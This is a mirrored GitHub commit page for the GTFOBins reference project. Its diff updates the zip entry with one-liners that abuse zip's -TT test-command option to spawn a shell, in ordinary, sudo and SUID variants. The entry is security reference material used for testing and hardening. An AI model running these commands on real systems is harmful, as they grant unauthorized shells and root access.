mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Simplify zip and add suid-limited
This commit is contained in:
parent
2ff760e560
commit
f740b410cc
@ -1,11 +1,15 @@
|
||||
---
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: echo "/bin/sh" > /tmp/run.sh
|
||||
chmod +x /tmp/run.sh
|
||||
zip z.zip * -T -TT /tmp/run.sh
|
||||
- code: |
|
||||
zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||
rm /tmp/x.zip
|
||||
sudo-enabled:
|
||||
- code: echo "/bin/sh" > /tmp/run.sh
|
||||
chmod +x /tmp/run.sh
|
||||
sudo zip z.zip * -T -TT /tmp/run.sh
|
||||
- code: |
|
||||
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||
sudo rm /tmp/x.zip
|
||||
suid-limited:
|
||||
- code: |
|
||||
./zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||
sudo rm /tmp/x.zip
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user